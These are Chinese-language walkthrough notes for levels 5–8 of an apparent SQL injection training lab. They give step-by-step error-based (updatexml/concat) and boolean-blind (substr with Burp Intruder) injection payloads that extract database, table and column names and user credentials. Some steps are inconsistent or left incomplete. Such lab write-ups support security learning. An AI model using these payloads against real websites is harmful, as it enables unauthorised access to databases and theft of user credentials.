less5
有报错信息的回显,说明可以进行报错注入。
1.判断注入类型
输入?id=1
?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)
判断字符型的
' " ') ')) ")依次尝试
输入·?id=1'--+ 闭合方式是'
2.判断字段数
?id=1' order by 4--+
?id=1' order by 3--+
三个字段
3.查询库名
使用报错函数updatexml()进行报错注入,函数有三个参数
?id=1‘and updatexml(1,1,1)--+
在第二个参数的位置构造报错查询,用到聚合函数concat(),concat()函数有两个参数
?id=1’and updatexml(1,concat(1,1),1)--+
还是在concat的第二个参数的位置查询我们想要的东西,查询是select,既然select不是在句首,而是在句中查询,就要用到子查询,子查询就是放到括号里面去写。
?id=1' and updatexml(1,concat(1,(select database())),1)--+
4.查询表名
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
5.查询字段名
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
6.查询数据
?id=1' and updatexml(1,concat(1,(select concat_ws(':',username,password,id) from users limit 0,1)),1)--+
7.使用limit去一条一条的查询
limit 0,1 查询第一条数据
limit 1,1 查询第二条数据
limit 2,1 查询第三条数据
limit 3,1 查询第四条数据
less6
判断注入类型
有报错信息的回显,说明可以进行报错注入。
1.判断注入类型
输入?id=1
?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)
判断字符型的
' " ') ')) ")依次尝试
输入·?id=1'--+ 闭合方式是"
下列步骤如less-5一样,继续操作即可
less-7
1.判断注入类型
输入?id=1
?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)
判断字符型的
' " ') ')) ")依次尝试
输入·?id=1'))--+
闭合方式是'))
2.判断字段数
?id=1')) order by 4--+
?id=1')) order by 3--+
三个字段
3.查询库
先查询数据库的长度

4.布尔盲注依次用使用ascii码查询具体数据
less-8
1.判断注入类型
输入?id=1
?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)
判断字符型的
' " ') ')) ")依次尝试
输入·?id=1'--+
闭合方式是'
2.判断字段数
?id=1' order by 4--+
?id=1')) order by 3--+
三个字段
3.查询库名
运用burpsuite爆破查询数据库名
搭建bp站点
进行抓包
?id=1' and substr(database(),1,1)='s' --+
发送到intruder,运用集束炸弹攻击方式,添加两个payload位置
设置payload格式
攻击获取库名 security
4.查询表名
?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
运用上述抓包流程依次获取所有表名
5.查询字段名
?id=1'and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+
6.查询数据
已知表名,库名,字段名,即可查询数据
如上所示,使用bp进行抓包具体数据